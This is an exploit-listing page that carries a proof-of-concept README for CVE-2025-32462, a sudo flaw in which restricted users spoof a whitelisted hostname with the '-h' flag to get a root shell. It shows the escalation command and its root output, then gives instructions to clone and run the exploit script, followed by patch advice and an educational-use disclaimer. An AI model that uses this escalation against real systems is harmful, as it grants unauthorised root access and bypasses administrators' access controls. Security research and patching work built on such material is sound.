## https://sploitus.com/exploit?id=9271C267-96E2-53E6-B5F4-E2664254E17B
# CVE-2025-32462-Exploit: Matrix-Sudo Escape
**Hostname Spoofing Privilege Escalation (CVE-2025-32462)**
*"You take the blue pill... the story ends. You take the red pill... you get root."*
## Description
This exploit demonstrates a privilege escalation vulnerability in sudo (`CVE-2025-32462`) where hostname-based restrictions can be bypassed using the `-h` flag. The PoC creates a restricted user environment, then escapes it by spoofing a whitelisted hostname to gain root access.
```bash
[user@matrix-node]$ sudo -h zion-core bash # Spoof whitelisted hostname
[root@matrix-node]# id # Got root on wrong hostname!
uid=0(root) gid=0(root) groups=0(root)
```
## Technical Details
- Vulnerable Sudo Versions: < 1.9.17
- Attack Vector: Local privilege escalation
- Key Flaw: Hostname verification bypass via sudo -h parameter
- Impact: Restricted users can gain root on improperly configured systems
## Usage
**Clone repository:**
```bash
git clone https://github.com/cybersentinelx1/CVE-2025-32462-Exploit.git
cd matrix-sudo-escape
```
**Make executable and run:**
```bash
chmod +x matrix-sudo-escape.sh
./matrix-sudo-escape.sh
```
**Follow interactive prompts to demonstrate:**
- CVE-2025-32462 vulnerability detection
- User creation
- Hostname restriction setup
- Exploit execution
- Cleanup
## Protection
- โ Update sudo to v1.9.17+
- โ Avoid hostname-based sudo restrictions
- โ Use group-based sudo policies instead
## Legal
For educational/research purposes only. Use only on systems you own or have permission to test.